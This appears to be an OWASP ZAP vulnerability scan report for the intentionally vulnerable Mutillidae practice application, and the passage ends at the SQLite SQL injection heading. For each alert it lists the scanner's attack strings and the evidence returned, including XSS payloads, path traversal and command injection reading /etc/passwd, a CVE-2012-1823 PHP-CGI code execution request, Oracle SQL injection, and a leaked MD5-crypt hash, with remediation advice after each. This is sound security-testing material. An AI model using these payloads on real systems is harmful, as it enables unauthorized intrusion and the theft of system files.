ZAP Scanning Report Practice Site

Site: http://192.168.0.9

Generated on Sun, 2 Jul 2023 22:03:01

ZAP Version: 2.12.0

Summary of Alerts

Risk Level	Number of Alerts
High	10
Medium	9
Low	7
Informational	5

Alerts

Name	Risk Level	Number of Instances
Cross Site Scripting (Reflected)	High	25
External Redirect	High	1
Hash Disclosure - MD5 Crypt	High	1
Path Traversal	High	11
Remote Code Execution - CVE-2012-1823	High	3
Remote File Inclusion	High	1
Remote OS Command Injection	High	1
SQL Injection - Oracle - Time Based	High	2
SQL Injection - SQLite	High	1
Source Code Disclosure - CVE-2012-1823	High	3
Absence of Anti-CSRF Tokens	Medium	34
Application Error Disclosure	Medium	14
Content Security Policy (CSP) Header Not Set	Medium	108
Directory Browsing	Medium	7
Hidden File Found	Medium	1
Missing Anti-clickjacking Header	Medium	59
Parameter Tampering	Medium	14
Vulnerable JS Library	Medium	1
XSLT Injection	Medium	6
Cookie No HttpOnly Flag	Low	26
Cookie without SameSite Attribute	Low	30
Information Disclosure - Debug Error Messages	Low	4
Private IP Disclosure	Low	2
Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)	Low	117

Server Leaks Version Information via "Server" HTTP Response Header Field	Low	181
X-Content-Type-Options Header Missing	Low	99
Information Disclosure - Sensitive Information in URL	Informational	5
Information Disclosure - Suspicious Comments	Informational	62
Modern Web Application	Informational	68
User Agent Fuzzer	Informational	300
User Controllable HTML Element Attribute (Potential XSS)	Informational	50

Alert Detail

High	Cross Site Scripting (Reflected)
Description	Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML /JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology. When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise. There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based. Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web page containing a web form, which when posted to the vulnerable site, will mount the attack. Using a malicious form will oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In such a case, the form can be submitted automatically, without the victim's knowledge (e.g. by using JavaScript). Upon clicking on the malicious link or submitting the malicious form, the XSS payload will get echoed back and will get interpreted by the user's browser and execute. Another technique to send almost arbitrary requests (GET and POST) is by using an embedded client, such as Adobe Flash. Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to interact with any additional site/link (e.g. an attacker site or a malicious link sent via email), just simply view the web page containing the code.
URL	http://192.168.0.9/mutillidae/?page=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Method	GET
Attack	"><scrIpt>alert(1);</scRipt>
Evidence	"><scrIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?choice=%3C%2Ftd%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E%3Ctd%3E&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET

Attack	</td><scrIpt>alert(1);</scRipt><td>
Evidence	</td><scrIpt>alert(1);</scRipt><td>
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	"><scrIpt>alert(1);</scRipt>
Evidence	"><scrIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Method	GET
Attack	"><scrIpt>alert(1);</scRipt>
Evidence	"><scrIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E&page=redirectandlog.php
Method	GET
Attack	"><scrIpt>alert(1);</scRipt>
Evidence	"><scrIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https%3A%2F%2Faddons.mozilla.org%2Fen-US%2Ffirefox%2Fcollections%2Fjdruin%2Fpr%2F&page=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Method	GET
Attack	"><scrIpt>alert(1);</scRipt>
Evidence	"><scrIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?page=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Method	GET
Attack	"><scrIpt>alert(1);</scRipt>
Evidence	"><scrIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?page=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	"><scrIpt>alert(1);</scRipt>
Evidence	"><scrIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?page=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E&username=anonymous
Method	GET
Attack	"><scrIpt>alert(1);</scRipt>
Evidence	"><scrIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=%22%3Balert%281%29%3B%22
Method	GET
Attack	";alert(1);"
Evidence	";alert(1);"
	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=%3Cimg+src%

URL	3Dx+onerror%3Dprompt%28%29%3E&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	<img src=x onerror=prompt()>
Evidence	<img src=x onerror=prompt()>
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=%3Cimg+src%3Dx+onerror%3Dprompt%28%29%3E
Method	GET
Attack	<img src=x onerror=prompt()>
Evidence	<img src=x onerror=prompt()>
URL	http://192.168.0.9/mutillidae/index.php?page=%22%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Method	POST
Attack	"><scrIpt>alert(1);</scRipt>
Evidence	"><scrIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	<img src=x onerror=prompt()>
Evidence	<img src=x onerror=prompt()>
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	</td><scrIpt>alert(1);</scRipt><td>
Evidence	</td><scrIpt>alert(1);</scRipt><td>
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	<img src=x onerror=prompt()>
Evidence	<img src=x onerror=prompt()>
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	<img src=x onerror=prompt()>
Evidence	<img src=x onerror=prompt()>
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	<img src=x onerror=prompt()>
Evidence	<img src=x onerror=prompt()>
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	<img src=x onerror=prompt()>

Evidence	<img src=x onerror=prompt()>
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	"><scRIpt>alert(1);</scRipt>
Evidence	"><scRIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	"><scRIpt>alert(1);</scRipt>
Evidence	"><scRIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	<scRIpt>alert(1);</scRipt>
Evidence	<scRIpt>alert(1);</scRipt>
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	</blockquote><scRIpt>alert(1);</scRipt><blockquote>
Evidence	</blockquote><scRIpt>alert(1);</scRipt><blockquote>
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	<img src=x onerror=prompt()>
Evidence	<img src=x onerror=prompt()>
Instances	25
	Phase: Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket. Phases: Implementation; Architecture and Design Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Consult the XSS Prevention Cheat Sheet for more details on the types of encoding and escaping that are needed. Phase: Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Solution	If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Phase: Implementation For every web page that is generated, use and specify a character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a different encoding by guessing which encoding is actually being used by the web page. This can cause the web browser to treat certain sequences as special, opening up the client to subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping. To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set. Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Reference	http://projects.webappsec.org/Cross-Site-Scripting http://cwe.mitre.org/data/definitions/79.html
CWE Id	79
WASC Id	8
Plugin Id	40012

High	**External Redirect**
Description	URL redirectors represent common functionality employed by web sites to forward an incoming request to an alternate resource. This can be done for a variety of reasons and is often done to allow resources to be moved within the directory structure and to avoid breaking functionality for users that request the resource at its previous location. URL redirectors may also be used to implement load balancing, leveraging abbreviated URLs or recording outgoing links. It is this last implementation which is often used in phishing attacks as described in the example below. URL redirectors do not necessarily represent a direct security vulnerability but can be abused by attackers trying to social engineer victims into believing that they are navigating to a site other than the true destination.
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http%3A%2F%2F4482079209303656993.owasp.org&page=redirectandlog.php
Method	GET
Attack	http://4482079209303656993.owasp.org
Evidence	http://4482079209303656993.owasp.org
Instances	1
	Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do

Solution	not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." Use an allow list of approved URLs or domains to be used for redirection. Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving your site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems when generating the disclaimer page. When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap provide this capability. Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Reference	http://projects.webappsec.org/URL-Redirector-Abuse http://cwe.mitre.org/data/definitions/601.html
CWE Id	601
WASC Id	38
Plugin Id	20019

High	**Hash Disclosure - MD5 Crypt**
Description	A hash was disclosed by the web server. - MD5 Crypt
URL	http://192.168.0.9/mutillidae/?page=source-viewer.php
Method	GET
Attack	
Evidence	$1$61374822$KN20QUdxMdNfSq2357ADs0
Instances	1
Solution	Ensure that hashes that are used to protect credentials or other resources are not leaked by the web server or database. There is typically no requirement for password hashes to be accessible to the web browser.
Reference	http://projects.webappsec.org/w/page/13246936/Information%20Leakage http://openwall.info/wiki/john/sample-hashes
CWE Id	200
WASC Id	13
Plugin Id	10097

High	**Path Traversal**
	The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may

Description	manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal. Most web sites restrict user access to a specific portion of the file-system, typically called the "web document root" or "CGI root" directory. These directories contain the files intended for user access and the executable necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences. The most basic Path Traversal attack uses the "../" special-character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the "../" sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding ("..%u2216" or "..%c0%af") of the forward slash character, backslash characters ("..\") on Windows-based servers, URL encoded characters "%2e%2e%2f"), and double URL encoding ("..%255c") of the backslash character. Even if the web server properly restricts Path Traversal attempts in the URL path, a web application itself may still be vulnerable due to improper handling of user-supplied input. This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (".") to reveal the listing of the current working directory, or "%00" NULL characters in order to bypass rudimentary file extension checks.
URL	http://192.168.0.9/mutillidae/?page=%2Fetc%2Fpasswd
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=%2Fetc%2Fpasswd&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=%2Fetc%2Fpasswd
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https%3A%2F%2Faddons.mozilla.org%2Fen-US%2Ffirefox%2Fcollections%2Fjdruin%2Fpr%2F&page=%2Fetc%2Fpasswd
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
URL	http://192.168.0.9/mutillidae/index.php?page=%2Fetc%2Fpasswd
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
URL	http://192.168.0.9/mutillidae/index.php?page=%2Fetc%2Fpasswd&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	/etc/passwd

Evidence	root:x:0:0
URL	http://192.168.0.9/mutillidae/index.php?page=%2Fetc%2Fpasswd&username=anonymous
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
URL	http://192.168.0.9/mutillidae/index.php?page=%2Fetc%2Fpasswd
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Instances	11
Solution	Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." For filenames, use stringent allow lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses, and exclude directory separators such as "/". Use an allow list of allowable file extensions. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allow list schemes by introducing dangerous inputs after they have been checked.

	Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links. Run your code using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Reference	http://projects.webappsec.org/Path-Traversal http://cwe.mitre.org/data/definitions/22.html
CWE Id	22
WASC Id	33
Plugin Id	6

High	**Remote Code Execution - CVE-2012-1823**
Description	Some PHP versions, when configured to run using CGI, do not correctly handle query strings that lack an unescaped "=" character, enabling arbitrary code execution. In this case, an operating system command was caused to be executed on the web server, and the results were returned to the web browser.
URL	http://192.168.0.9/mutillidae/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
Method	POST
Attack	<?php exec('echo g39szjbuk9a4a50w2uop',$colm);echo join(" ",$colm);die();?>
Evidence	g39szjbuk9a4a50w2uop
URL	http://192.168.0.9/mutillidae/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
Method	POST
Attack	<?php exec('echo g39szjbuk9a4a50w2uop',$colm);echo join(" ",$colm);die();?>
Evidence	g39szjbuk9a4a50w2uop
URL	http://192.168.0.9/mutillidae/set-up-database.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
Method	POST
Attack	<?php exec('echo g39szjbuk9a4a50w2uop',$colm);echo join(" ",$colm);die();?>
Evidence	g39szjbuk9a4a50w2uop
Instances	3
Solution	Upgrade to the latest stable version of PHP, or use the Apache web server and the mod_rewrite module to filter out malicious requests using the "RewriteCond" and "RewriteRule" directives.
	http://projects.webappsec.org/Improper-Input-Handling

Reference	http://cwe.mitre.org/data/definitions/89.html
CWE Id	20
WASC Id	20
Plugin Id	20018

High	**Remote File Inclusion**
Description	Remote File Include (RFI) is an attack technique used to exploit "dynamic file include" mechanisms in web applications. When web applications take user input (URL, parameter value, etc.) and pass them into file include commands, the web application might be tricked into including remote files with malicious code. Almost all web application frameworks support file inclusion. File inclusion is mainly used for packaging common code into separate files that are later referenced by main application modules. When a web application references an include file, the code in this file may be executed implicitly or explicitly by calling specific procedures. If the choice of module to load is based on elements from the HTTP request, the web application might be vulnerable to RFI. An attacker can use RFI for: * Running malicious code on the server: any code in the included malicious files will be run by the server. If the file include is not executed using some wrapper, code in include files is executed in the context of the server user. This could lead to a complete system compromise. * Running malicious code on clients: the attacker's malicious code can manipulate the content of the response sent to the client. The attacker can embed malicious code in the response that will be run by the client (for example, JavaScript to steal the client session cookies). PHP is particularly vulnerable to RFI attacks due to the extensive use of "file includes" in PHP programming and due to default server configurations that increase susceptibility to an RFI attack.
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	http://www.google.com/
Evidence	<title>Google</title>
Instances	1
	Phase: Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability. Phases: Architecture and Design; Operation Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Solution	For PHP, the interpreter offers restrictions such as open basedir or safe mode which can make it more difficult for an attacker to escape out of the application. Also consider Suhosin, a hardened PHP extension, which includes various options that disable some of the more dangerous PHP features. Phase: Implementation Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." For filenames, use stringent allow lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use an allow list of allowable file extensions, which will help to avoid CWE-434. Phases: Architecture and Design; Operation Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce your attack surface. Phases: Architecture and Design; Implementation Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
Reference	http://projects.webappsec.org/Remote-File-Inclusion http://cwe.mitre.org/data/definitions/98.html
CWE Id	98
WASC Id	5
Plugin Id	7

High	**Remote OS Command Injection**
Description	Attack technique used for unauthorized execution of operating system commands. This attack is possible when an application accepts untrusted input to build operating system commands in an insecure manner involving improper data sanitization, and/or improper calling of external programs.
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	ZAP&cat /etc/passwd&

Evidence	root:x:0:0
Instances	1
Solution	If at all possible, use library calls rather than external processes to recreate the desired functionality. Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the command locally in the session's state instead of sending it out to the client in a hidden form field. Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. If you need to use dynamically-generated query strings or commands in spite of the risk, properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allow list (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection. If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line. If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments. Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."

	When constructing OS command strings, use stringent allow lists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Reference	http://cwe.mitre.org/data/definitions/78.html https://owasp.org/www-community/attacks/Command_Injection
CWE Id	78
WASC Id	31
Plugin Id	90020

High	**SQL Injection - Oracle - Time Based**
Description	SQL injection may be possible.
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	field: [source-file-viewer-php-submit-button], value [(SELECT UTL_INADDR.get_host_name ('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR. get_host_name('10.0.0.5') from dual)]
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	field: [text-file-viewer-php-submit-button], value [View File' / (SELECT UTL_INADDR. get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name ('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']
Evidence	
Instances	2
	Do not trust client side input, even if there is client side validation in place. In general, type check all data on the server side. If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?' If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

Solution	If database Stored Procedures can be used, use them. Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality! Do not create dynamic SQL queries using simple string concatenation. Escape all data received from the client. Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input. Apply the principle of least privilege by using the least privileged database user possible. In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact. Grant the minimum database access that is necessary for the application.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
CWE Id	89
WASC Id	19
Plugin Id	40021

High	**SQL Injection - SQLite**
Description	SQL injection may be possible.
